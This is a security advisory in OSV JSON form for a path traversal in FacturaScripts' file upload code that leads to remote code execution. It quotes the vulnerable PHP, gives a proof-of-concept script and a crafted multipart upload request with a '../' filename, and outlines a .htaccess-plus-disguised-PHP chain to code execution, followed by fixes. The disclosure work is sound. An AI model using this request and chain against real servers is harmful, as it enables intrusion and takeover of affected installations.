GHSA-hgjx-r89m-m7v4: FacturaScripts Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hgjx-r89m-m7v4",
  "modified" : "2026-07-14T20:52:00Z",
  "published" : "2026-07-14T20:52:00Z",
  "aliases" : [ ],
  "summary" : "FacturaScripts: Path traversal in UploadedFile::move() via getClientOriginalName() — arbitrary file write outside MyFiles/ leading to   RCE",
  "details" : "## Summary\n\n`FacturaScripts\\Core\\UploadedFile::move($destiny, $destinyName)` concatenates `$destiny` and `$destinyName` without normalizing the resulting path. Every caller in the codebase passes `UploadedFile::getClientOriginalName()` — the unsanitized client-supplied filename — as `$destinyName`, so an authenticated user submitting a filename containing `../` segments can write the uploaded content to any directory writable by the web-server user, escaping the intended `MyFiles/` location.\n\nBecause the shipped `htaccess-sample` (the documented production Apache configuration) excludes `Dinamic/Assets/` and `node_modules/` from the `index.php` rewrite, files written into those directories are served directly by Apache. Combined with `.htaccess` not being in `BLOCKED_EXTENSIONS`, the primitive escalates from arbitrary file write to remote code execution.\n\n## Vulnerable Code\n\n`Core/UploadedFile.php`:\n\n```php\nprivate const BLOCKED_EXTENSIONS = ['phar', 'php', 'php3', 'php4', 'php5', 'php7', 'php8', 'pht', 'phtml', 'phps'];\n\npublic function move(string $destiny, string $destinyName): bool\n{\n    if (!$this->isValid()) {\n        return false;\n    }\n    if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {\n        $destiny .= DIRECTORY_SEPARATOR;\n    }\n    return $this->test ?\n        rename($this->tmp_name, $destiny . $destinyName) :\n        move_uploaded_file($this->tmp_name, $destiny . $destinyName);\n}\n\npublic function getClientOriginalName(): string\n{\n    return $this->name ?? '';\n}\n```\n\n`isValid()` only checks the extension blocklist, the upload error code, and `is_uploaded_file()` — it never inspects the filename for directory separators or `..` segments.\n\nSix call sites pass the raw client filename straight into `move()`:\n\n- `Core/Controller/ApiUploadFiles.php:58` — `POST /api/3/uploadfiles`\n- `Core/Controller/ApiAttachedFiles.php:136` — `POST /api/3/attachedfiles`\n- `Core/Lib/Widget/WidgetFile.php:84` — every form using a file widget\n- `Core/Lib/Widget/WidgetLibrary.php:215` — library widget upload\n- `Core/Lib/ExtendedController/DocFilesTrait.php:51` — document files trait\n- `Core/Controller/AdminPlugins.php:260` — plugin (zip) upload\n\nRepresentative sink — `Core/Controller/ApiUploadFiles.php:56-79`:\n\n```php\nprivate function uploadFile(UploadedFile $uploadFile): ?AttachedFile\n{\n    if (false === $uploadFile->isValid()) {\n        return null;\n    }\n    $destiny = FS_FOLDER . '/MyFiles/';\n    $destinyName = $uploadFile->getClientOriginalName();\n    if (file_exists($destiny . $destinyName)) {\n        $destinyName = mt_rand(1, 999999) . '_' . $destinyName;\n    }\n    if ($uploadFile->move($destiny, $destinyName)) {\n        ...\n    }\n}\n```\n\nShipped `htaccess-sample` (production Apache rules):\n\n```apache\n<IfModule mod_rewrite.c>\n   RewriteEngine On\n   RewriteBase /\n   RewriteCond %{REQUEST_URI} !Dinamic/Assets/ [NC]\n   RewriteCond %{REQUEST_URI} !node_modules/ [NC]\n   RewriteRule . index.php [L]\n</IfModule>\n```\n\nApache therefore serves any file under `Dinamic/Assets/` directly, bypassing `index.php` entirely.\n\n## PoC\n\n### Step 1 — Static reproduction of the file-write primitive\n\nThe following script replicates `UploadedFile::move()`'s `rename()` path verbatim inside a sandboxed temp directory. It does not run any payload — it only demonstrates that the destination escapes `MyFiles/` when the filename contains `../`.\n\n```php\n<?php\n$base = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'fs_verify_' . uniqid();\nmkdir($base);\nmkdir($base . '/MyFiles');\nmkdir($base . '/Dinamic');\nmkdir($base . '/Dinamic/Assets');\n\n$tmp = $base . '/tmp_upload.dat';\nfile_put_contents($tmp, \"static-verification-marker\\n\");\n\nfunction fs_move($tmp_name, $destiny, $destinyName) {\n    if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {\n        $destiny .= DIRECTORY_SEPARATOR;\n    }\n    return rename($tmp_name, $destiny . $destinyName);\n}\n\nfs_move($tmp, $base . '/MyFiles', '../Dinamic/Assets/traversed.txt');\n\necho file_exists($base . '/Dinamic/Assets/traversed.txt')\n    ? \"WRITTEN OUTSIDE MyFiles\\n\"\n    : \"blocked\\n\";\n```\n\nOutput:\n\n```\nWRITTEN OUTSIDE MyFiles\n```\n\n### Step 2 — Equivalent live HTTP request\n\n```http\nPOST /api/3/uploadfiles HTTP/1.1\nHost: target\nToken: <valid-api-token>\nContent-Type: multipart/form-data; boundary=---X\n\n-----X\nContent-Disposition: form-data; name=\"files[]\"; filename=\"../Dinamic/Assets/traversed.txt\"\nContent-Type: text/plain\n\nstatic-verification-marker\n-----X--\n```\n\nAfter the request, `Dinamic/Assets/traversed.txt` exists on disk and is reachable at `https://target/Dinamic/Assets/traversed.txt` — Apache serves it directly because the path is excluded from the `index.php` rewrite.\n\n### Step 3 — Chain to code execution\n\nBecause `.htaccess` is not in `BLOCKED_EXTENSIONS`, the same primitive can write an Apache override into `Dinamic/Assets/`:\n\n1. Upload with filename `../Dinamic/Assets/.htaccess` and body `AddType application/x-httpd-php .png`\n2. Upload with filename `../Dinamic/Assets/x.png` containing a PHP payload (extension `png` is not blocked, content is not validated by `isValid()`)\n3. Request `https://target/Dinamic/Assets/x.png` — Apache hands it to the PHP handler per the uploaded `.htaccess`\n\n## Root Cause\n\n`UploadedFile::move()` performs raw `$destiny . $destinyName` concatenation and trusts `getClientOriginalName()`, which returns `$this->name ?? ''` with no normalization. No call site applies `basename()` or any equivalent before passing the client filename to `move()`. The blocklist in `BLOCKED_EXTENSIONS` covers only PHP-family extensions and does not cover `htaccess`, which is required for the rewrite-excluded directory to be useful for code execution.\n\n## Impact\n\nAuthenticated attacker (any role with permission to call one of the six upload entry points — including any user allowed to attach a file to a record, or any API token with `uploadfiles`/`attachedfiles` access) can:\n\n- Write arbitrary content to any path under the application root that is writable by the web-server user, including `Dinamic/Assets/` (Apache-direct-served) and `node_modules/`.\n- Overwrite shipped JS/CSS inside `Dinamic/Assets/`, injecting client-side script that executes in every administrator's browser → session takeover on next admin page load.\n- Drop a `.htaccess` into `Dinamic/Assets/` remapping a benign extension to the PHP handler, followed by a second upload that lands an executable payload — full remote code execution as the web-server user.\n\nThe required precondition is only an authenticated session or API token with upload privileges, which is granted to a wide range of non-administrative roles in standard installations.\n\n## Fix\n\nMinimal fix — sanitize inside `UploadedFile::move()` so every call site is covered automatically:\n\n```php\npublic function move(string $destiny, string $destinyName): bool\n{\n    if (!$this->isValid()) {\n        return false;\n    }\n    // strip any directory component from the client-supplied filename\n    $destinyName = basename($destinyName);\n    if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {\n        $destiny .= DIRECTORY_SEPARATOR;\n    }\n    return $this->test ?\n        rename($this->tmp_name, $destiny . $destinyName) :\n        move_uploaded_file($this->tmp_name, $destiny . $destinyName);\n}\n```\n\nApply the same change in `moveTo()`.\n\nRecommended hardening in addition:\n\n- Add `htaccess`, `htm`, `html`, `shtml`, `phtm` to `BLOCKED_EXTENSIONS`, or replace the blocklist with an allowlist resolved per call site.\n- After concatenating the final destination, verify with `realpath()` that the result is still inside the intended base directory; abort otherwise.\n- Drop a `Deny from all` `.htaccess` (or equivalent web-server rule) into `MyFiles/` so even successfully written files cannot be requested directly without going through the application download endpoint (which already enforces `MyFilesToken`).\n\n## Status\n\nReported privately to the maintainer via GitHub Security Advisory. Awaiting acknowledgement.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "facturascripts/facturascripts"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2025"
      }, {
        "last_affected" : "2026.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-hgjx-r89m-m7v4"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/NeoRazorX/facturascripts"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-434" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-14T20:52:00Z",
    "nvd_published_at" : null
  }
}